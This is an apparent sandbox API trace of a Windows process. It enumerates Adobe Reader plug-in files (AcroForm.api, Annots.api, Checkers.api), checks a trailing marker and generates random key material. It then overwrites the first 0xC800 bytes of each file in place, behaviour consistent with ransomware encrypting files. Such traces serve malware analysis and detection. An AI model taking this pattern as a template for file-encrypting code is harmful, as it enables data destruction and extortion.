	[0094.014] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8558
	[0094.015] wcscmp (_String1=".", _String2=".") returned 0
	[0094.015] FindNextFileW (in: hFindFile=0x46a8558, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0094.015] wcscmp (_String1="..", _String2=".") returned 1
	[0094.015] wcscmp (_String1="..", _String2="..") returned 0
	[0094.015] FindNextFileW (in: hFindFile=0x46a8558, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342a67ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xb416, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1
	[0094.015] wcscmp (_String1="adobepdf.xdc", _String2=".") returned 1
	[0094.015] wcscmp (_String1="adobepdf.xdc", _String2="..") returned 1
	[0094.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481a530
	[0094.015] wcscpy (in: _Dest=0x481a530, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm"
	[0094.015] wcscat (in: _Dest=0x481a530, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\"
	[0094.015] wcscat (in: _Dest=0x481a530, _Source="adobepdf.xdc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc"

Thread:
	id = 1379
	os_tid = 0x21ac

	[0094.015] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform.api")) returned 0x20
	[0094.016] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api", dwFileAttributes=0x20) returned 1
	[0094.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\acroform.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf7c
	[0094.016] GetFileSizeEx (in: hFile=0xf7c, lpFileSize=0x2f2bf91c | out: lpFileSize=0x2f2bf91c*=13307491) returned 1
	[0094.016] SetFilePointerEx (in: hFile=0xf7c, liDistanceToMove=0xcb0e5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.016] ReadFile (in: hFile=0xf7c, lpBuffer=0x2f2bf8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f2bf89c, lpOverlapped=0x0 | out: lpBuffer=0x2f2bf8a0*, lpNumberOfBytesRead=0x2f2bf89c*=0x4, lpOverlapped=0x0) returned 1
	[0094.036] SetFilePointerEx (in: hFile=0xf7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c08
	[0094.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984898
	[0094.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984a28
	[0094.036] NtQuerySystemTime (in: CurrentTime=0x2f2bf87c | out: CurrentTime=0x2f2bf87c*=132251868207752310) returned 0x0
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x450cd5cf
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x68ad278d
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0xae73935e
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x50fb24ab
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x3d5ec4b1
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0xb54d746
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x90bb43ca
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x443e9123
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x32f9b85
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x8e8f5964
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x7b6ea2f
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0xfb4c463f
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x610912b0
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x277894bd
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0xdeebd6a1
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0xbb5e5c57
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x528fb411
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0xb0222f9e
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0xa5dc7c2b
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0xab0aac87
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x464df6ab
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x523860b
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0xfc3f6c12
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x92077eca
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x34d1080e
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x885fbe92
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x834eccc5
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0xf56507a1
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0xe26028b2
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x4041a91b
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0x93cdd97e
	[0094.036] RtlRandom (in: Seed=0x2f2bf888 | out: Seed=0x2f2bf888) returned 0xbde57536
	[0094.045] SetFilePointerEx (in: hFile=0xf7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.045] ReadFile (in: hFile=0xf7c, lpBuffer=0x50b1090, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f2bf834, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesRead=0x2f2bf834*=0xc800, lpOverlapped=0x0) returned 1
	[0094.103] SetFilePointerEx (in: hFile=0xf7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.103] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaa90
	[0094.103] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754178
	[0094.103] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c08
	[0094.103] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984c08) returned 1
	[0094.104] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x501a020
	[0094.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c08
	[0094.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984f50
	[0094.105] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984f50) returned 1
	[0094.105] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754178) returned 1
	[0094.105] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa90) returned 1
	[0094.105] WriteFile (hFile=0xf7c, lpBuffer=0x501a020, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f2bf834, lpOverlapped=0x0) 

Thread:
	id = 1380
	os_tid = 0x21b0

	[0094.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x2d7fa48
	[0094.017] wcscpy (in: _Dest=0x2d7fa48, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations"
	[0094.017] wcscat (in: _Dest=0x2d7fa48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\"
	[0094.018] wcscat (in: _Dest=0x2d7fa48, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\*"
	[0094.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710cc8
	[0094.018] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8598
	[0094.018] wcscmp (_String1=".", _String2=".") returned 0
	[0094.018] FindNextFileW (in: hFindFile=0x46a8598, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0094.018] wcscmp (_String1="..", _String2=".") returned 1
	[0094.018] wcscmp (_String1="..", _String2="..") returned 0
	[0094.018] FindNextFileW (in: hFindFile=0x46a8598, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1
	[0094.018] wcscmp (_String1="Stamps", _String2=".") returned 1
	[0094.018] wcscmp (_String1="Stamps", _String2="..") returned 1
	[0094.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d610b0
	[0094.019] wcscpy (in: _Dest=0x2d610b0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations"
	[0094.019] wcscat (in: _Dest=0x2d610b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\"
	[0094.019] wcscat (in: _Dest=0x2d610b0, _Source="Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps"

Thread:
	id = 1381
	os_tid = 0x21b4

	[0094.046] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annots.api")) returned 0x20
	[0094.047] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api", dwFileAttributes=0x20) returned 1
	[0094.047] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annots.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa48
	[0094.047] GetFileSizeEx (in: hFile=0xa48, lpFileSize=0x2f3bf850 | out: lpFileSize=0x2f3bf850*=7453795) returned 1
	[0094.047] SetFilePointerEx (in: hFile=0xa48, liDistanceToMove=0x71bc5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.047] ReadFile (in: hFile=0xa48, lpBuffer=0x2f3bf7d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f3bf7d0, lpOverlapped=0x0 | out: lpBuffer=0x2f3bf7d4*, lpNumberOfBytesRead=0x2f3bf7d0*=0x4, lpOverlapped=0x0) returned 1
	[0094.088] SetFilePointerEx (in: hFile=0xa48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c08
	[0094.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984a28
	[0094.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984d70
	[0094.088] NtQuerySystemTime (in: CurrentTime=0x2f3bf7b0 | out: CurrentTime=0x2f3bf7b0*=132251868208221806) returned 0x0
	[0094.088] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0xfa3a9495
	[0094.088] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x9ef150c8
	[0094.088] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x1522593e
	[0094.088] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x52d47bd
	[0094.088] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x1b43e90c
	[0094.088] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0xa54bb86
	[0094.088] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x9c6906e6
	[0094.088] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x224c8d50
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x3b9283be
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x8a78d746
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x38fd5992
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x17403e8d
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x24845142
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0xa397f749
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x3d6904ba
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x4734197
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x77a9b56d
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x33d59934
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0xc12677c4
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x4ddfd90b
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x5623d2d
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0xc95c494c
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x622e6487
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x1932a382
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x8c7575d
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0xa58642ed
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x6d110821
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0xc61518c9
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0xa0364c8
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x69873b3a
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0xdd457da
	[0094.089] RtlRandom (in: Seed=0x2f3bf7bc | out: Seed=0x2f3bf7bc) returned 0x870f79e3
	[0094.102] SetFilePointerEx (in: hFile=0xa48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.102] ReadFile (in: hFile=0xa48, lpBuffer=0x500d818, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f3bf768, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesRead=0x2f3bf768*=0xc800, lpOverlapped=0x0) returned 1
	[0094.304] SetFilePointerEx (in: hFile=0xa48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.304] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.304] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.304] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.304] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f55120
	[0094.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88788
	[0094.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.306] WriteFile (hFile=0xa48, lpBuffer=0x4f55120, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f3bf768, lpOverlapped=0x0) 

Thread:
	id = 1382
	os_tid = 0x21b8

	[0094.049] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\checkers.api")) returned 0x20
	[0094.049] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api", dwFileAttributes=0x20) returned 1
	[0094.050] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\checkers.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf74
	[0094.050] GetFileSizeEx (in: hFile=0xf74, lpFileSize=0x2f43fb94 | out: lpFileSize=0x2f43fb94*=812131) returned 1
	[0094.050] SetFilePointerEx (in: hFile=0xf74, liDistanceToMove=0xc645f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.050] ReadFile (in: hFile=0xf74, lpBuffer=0x2f43fb18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f43fb14, lpOverlapped=0x0 | out: lpBuffer=0x2f43fb18*, lpNumberOfBytesRead=0x2f43fb14*=0x4, lpOverlapped=0x0) returned 1
	[0094.105] SetFilePointerEx (in: hFile=0xf74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984f50
	[0094.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984f28
	[0094.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984d70
	[0094.105] NtQuerySystemTime (in: CurrentTime=0x2f43faf4 | out: CurrentTime=0x2f43faf4*=132251868208378114) returned 0x0
	[0094.105] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0xead7411b
	[0094.105] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x5f3ffb8a
	[0094.105] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x20b8d7cf
	[0094.105] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0xa97b525c
	[0094.105] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x39b85dc5
	[0094.105] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0xce68f534
	[0094.105] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0xf4227c90
	[0094.105] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x7fe46b73
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0xae45baac
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x134dde7d
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x51e5ad5f
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x7dcec3fe
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x6da661a9
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0xf66e8402
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0xf70c4b3d
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x8a7c01d0
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x44af50b
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0xa544b49f
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x97712655
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x39291d23
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x97bd007d
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0xb6120f9a
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x10375dee
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0xf7904913
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x84cc38d3
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x1e16fa38
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x8f3d4ba6
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x42973164
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x5b50a593
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x12343aa8
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0x82f385e7
	[0094.106] RtlRandom (in: Seed=0x2f43fb00 | out: Seed=0x2f43fb00) returned 0xcffa00
	[0094.115] SetFilePointerEx (in: hFile=0xf74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
